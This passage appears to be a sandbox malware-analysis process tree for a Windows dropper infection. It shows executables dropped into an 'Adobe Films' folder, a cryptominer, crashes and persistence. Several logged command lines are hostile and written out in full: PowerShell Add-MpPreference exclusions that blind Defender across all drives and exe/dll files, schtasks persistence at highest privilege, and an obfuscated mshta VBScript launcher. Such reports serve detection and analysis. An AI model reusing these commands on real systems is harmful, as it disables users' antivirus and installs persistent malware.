        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\QANHRQ~1.EXE" silent
        9⤵
        
        PID:13972
        
        C:\Users\Admin\Pictures\ADOBEF~1\QANHRQ~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\QANHRQ~1.EXE silent
        10⤵
        
        PID:14848
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:1512
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:3128
      - C:\Users\Admin\Pictures\Adobe Films\yjU4xHzhUyVi0h_nzyx8USdc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yjU4xHzhUyVi0h_nzyx8USdc.exe"
        6⤵
        Executes dropped EXE
        
        PID:2176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 1032
        7⤵
        Program crash
        
        PID:7032
      - C:\Users\Admin\Pictures\Adobe Films\yG99ykg1PnmRbwZQSVfmLuxQ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yG99ykg1PnmRbwZQSVfmLuxQ.exe"
        6⤵
        Executes dropped EXE
        
        PID:1596
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 280
        7⤵
        Program crash
        
        PID:4920
      - C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe"
        6⤵
        Executes dropped EXE
        
        PID:1592
        
        C:\Users\Admin\Pictures\Adobe Films\j3AxZox3PyXkbg6egbGYqViQ.exe
        
        "j3AxZox3PyXkbg6egbGYqViQ.exe"
        7⤵
        
        PID:2684
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 148
        8⤵
        Program crash
        
        PID:3068
      - C:\Users\Admin\Pictures\Adobe Films\dLPHNKLvaytX12QG4_Kjyt6c.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dLPHNKLvaytX12QG4_Kjyt6c.exe"
        6⤵
        Executes dropped EXE
        
        PID:3464
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        
        PID:2116
      - C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"
        6⤵
        Executes dropped EXE
        
        PID:5404
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E78936~1\ADVANC~1.EXE" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e7893631-e47d-4350-bfb4-d51aceee095d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\E78936~1\ADVANC~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\E78936~1\ADVANC~1.EXE /EXEFilename C:\Users\Admin\AppData\Local\Temp\e7893631-e47d-4350-bfb4-d51aceee095d\test.bat /WindowState 0"" /PriorityClass 32"" /CommandLine /StartDirectory /RunAs 8 /Run
        8⤵
        
        PID:1060
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe" -Force
        7⤵
        
        PID:4284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe -Force
        8⤵
        
        PID:676
        
        C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"
        7⤵
        
        PID:2908
        
        C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PC8DIMdnWqb_HqxvJvw2DaBD.exe"
        7⤵
        
        PID:6140
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\mine.exe"
        8⤵
        
        PID:13836
        
        C:\Users\Admin\AppData\Local\Temp\mine.exe
        
        C:\Users\Admin\AppData\Local\Temp\mine.exe
        9⤵
        
        PID:13872
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mine.exe"
        10⤵
        
        PID:6124
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        11⤵
        
        PID:4036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        12⤵
        
        PID:1176
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        11⤵
        
        PID:3192
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        12⤵
        Creates scheduled task(s)
        
        PID:4380
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\services32.exe"
        11⤵
        
        PID:8992
        
        C:\Users\Admin\services32.exe
        
        C:\Users\Admin\services32.exe
        12⤵
        
        PID:9112
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\6666.exe"
        8⤵
        
        PID:14128
        
        C:\Users\Admin\AppData\Local\Temp\6666.exe
        
        C:\Users\Admin\AppData\Local\Temp\6666.exe
        9⤵
        
        PID:14180
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 2032
        7⤵
        Program crash
        
        PID:5820
      - C:\Users\Admin\Pictures\Adobe Films\8o_HFC5KkDWqVXjiBRFAUYmf.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8o_HFC5KkDWqVXjiBRFAUYmf.exe"
        6⤵
        Executes dropped EXE
        
        PID:4172
      - C:\Users\Admin\Pictures\Adobe Films\XhnHstyiEV4QGFRjrzHWBm0k.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XhnHstyiEV4QGFRjrzHWBm0k.exe"
        6⤵
        Executes dropped EXE
        
        PID:5676
      - C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ehO_qlTtmBR6e28BGcq79_2Q.exe"
        6⤵
        
        PID:1488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 276
        7⤵
        Program crash
        
        PID:2796
      - C:\Users\Admin\Pictures\Adobe Films\S2rGi2OR_JJCsZun00rjDxzw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\S2rGi2OR_JJCsZun00rjDxzw.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 1984
        7⤵
        Program crash
        
        PID:6616
      - C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"
        6⤵
        Executes dropped EXE
        
        PID:5680
        
        C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tydEBEur6hep10Jf4vhAxEH5.exe"
        7⤵
        
        PID:2188
      - C:\Users\Admin\Pictures\Adobe Films\IT8L2QGXCIvH7XRk93Y_kt6r.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\IT8L2QGXCIvH7XRk93Y_kt6r.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1504
      - C:\Users\Admin\Pictures\Adobe Films\P6YkmaKp0ggZEDH6iXwn22Zj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\P6YkmaKp0ggZEDH6iXwn22Zj.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:1436
        
        C:\Program Files (x86)\Company\NewProduct\inst3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst3.exe"
        7⤵
        Executes dropped EXE
        
        PID:1580
        
        C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
        
        "C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
        7⤵
        Executes dropped EXE
        
        PID:1196
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        7⤵
        Executes dropped EXE
        
        PID:6112
      - C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FdpkUdYlwXy2dgIowY8VxQ3D.exe"
        6⤵
        Executes dropped EXE
        
        PID:1536
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 276
        7⤵
        Program crash
        
        PID:3404
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"
        6⤵
        Drops file in Windows directory
        
        PID:5184
        
        C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE
        7⤵
        Modifies registry class
        
        PID:1496
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
        8⤵
        
        PID:4264
        
        C:\Windows\SysWOW64\mshta.exe
        
        C:\Windows\System32\mshta.exe vbscRIpt: CLOsE ( CREAteoBJect ( WScRiPT.sHeLL ). RUn ( C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\ADOBEF~1\JNTOQR~1.EXE"" ) do taskkill -iM ""%~NXI"" -f , 0 , tRue ) )
        9⤵
        
        PID:3008
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXE"
        6⤵
        
        PID:5552
      - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXE"
        6⤵
        
        PID:4688
        
        C:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXE
        
        C:\Users\Admin\Pictures\ADOBEF~1\KCAVRK~1.EXE
        7⤵
        
        PID:5048
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        8⤵
        
        PID:6184
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--oYd2f1"
        9⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1dc,0x210,0x7ff862a2dec0,0x7ff862a2ded0,0x7ff862a2dee0
        10⤵
        
        PID:7476
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --mojo-platform-channel-handle=2068 /prefetch:8
        10⤵
        
        PID:7820
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2404 /prefetch:1
        10⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --mojo-platform-channel-handle=2052 /prefetch:8
        10⤵
        
        PID:7812
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1588 /prefetch:2
        10⤵
        
        PID:7800
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2444 /prefetch:1
        10⤵
        
        PID:7876
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3180 /prefetch:2
        10⤵
        
        PID:8572
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1572,12945021821618935988,9214958491271452660,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6540_266683366" --mojo-platform-channel-handle=3224 /prefetch:8
        10⤵
        
        PID:8792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      PID:2148
    - - C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4872
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:1440
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:4820
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
        
        C:\Users\Admin\AppData\Roaming\1917435.scr
        
        "C:\Users\Admin\AppData\Roaming\1917435.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5616
        
        C:\Users\Admin\AppData\Roaming\3008624.scr
        
        "C:\Users\Admin\AppData\Roaming\3008624.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5852
        
        C:\Users\Admin\AppData\Roaming\3793839.scr
        
        "C:\Users\Admin\AppData\Roaming\3793839.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6100
        
        C:\Users\Admin\AppData\Roaming\6498711.scr
        
        "C:\Users\Admin\AppData\Roaming\6498711.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:4672
        
        C:\Users\Admin\AppData\Roaming\5024180.scr
        
        "C:\Users\Admin\AppData\Roaming\5024180.scr" /S
        8⤵
        Executes dropped EXE
        
        PID:1860
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        
        PID:1260
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 240
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:5632
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5632 -s 240
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1552
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\is-LHTF8.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LHTF8.tmp\setup.tmp" /SL5="$2027C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\is-O7Q0B.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-O7Q0B.tmp\setup.tmp" /SL5="$3016C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:5592
        
        C:\Users\Admin\AppData\Local\Temp\is-TCAPO.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-TCAPO.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:4652
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:5140
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        Drops file in Windows directory
        
        PID:5708
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:5804
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2904
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE"
        8⤵
        
        PID:2092
        
        C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE
        
        C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE
        9⤵
        
        PID:5992
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        10⤵
        
        PID:5792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      PID:3008

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv ZBsD6YTmSkiLp3Ks8nKyJA.0
1⤵
PID:3552

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv hT4RkUrQU0KJr6hWfqbv1w.0.2
1⤵
- Modifies data under HKEY_USERS
PID:4768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:4540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3796

C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon20b6f9d5bd03a305.exe
Mon20b6f9d5bd03a305.exe
1⤵
- Executes dropped EXE
PID:1652

C:\Users\Admin\AppData\Local\Temp\7zS8A40D7A3\Mon2083f8d8970a0b2d.exe
Mon2083f8d8970a0b2d.exe
1⤵
- Executes dropped EXE
PID:4384
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 320
  2⤵
  - Drops file in Windows directory
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4384 -ip 4384
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2664 -ip 2664
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2176 -ip 2176
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1804

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1900
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:1316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 420
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1316 -ip 1316
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1260 -ip 1260
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 5632 -ip 5632
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5588

C:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXE
C:\Users\Admin\Pictures\ADOBEF~1\JPOPZT~1.EXE
1⤵
PID:412
- C:\Users\Admin\AppData\Roaming\4400663.scr
  "C:\Users\Admin\AppData\Roaming\4400663.scr" /S
  2⤵
  PID:4928
- C:\Users\Admin\AppData\Roaming\6887135.scr
  "C:\Users\Admin\AppData\Roaming\6887135.scr" /S
  2⤵
  PID:4452
- C:\Users\Admin\AppData\Roaming\4157100.scr
  "C:\Users\Admin\AppData\Roaming\4157100.scr" /S
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  PID:5552
- C:\Users\Admin\AppData\Roaming\8536813.scr
  "C:\Users\Admin\AppData\Roaming\8536813.scr" /S
  2⤵
  PID:1512
- C:\Users\Admin\AppData\Roaming\6198446.scr
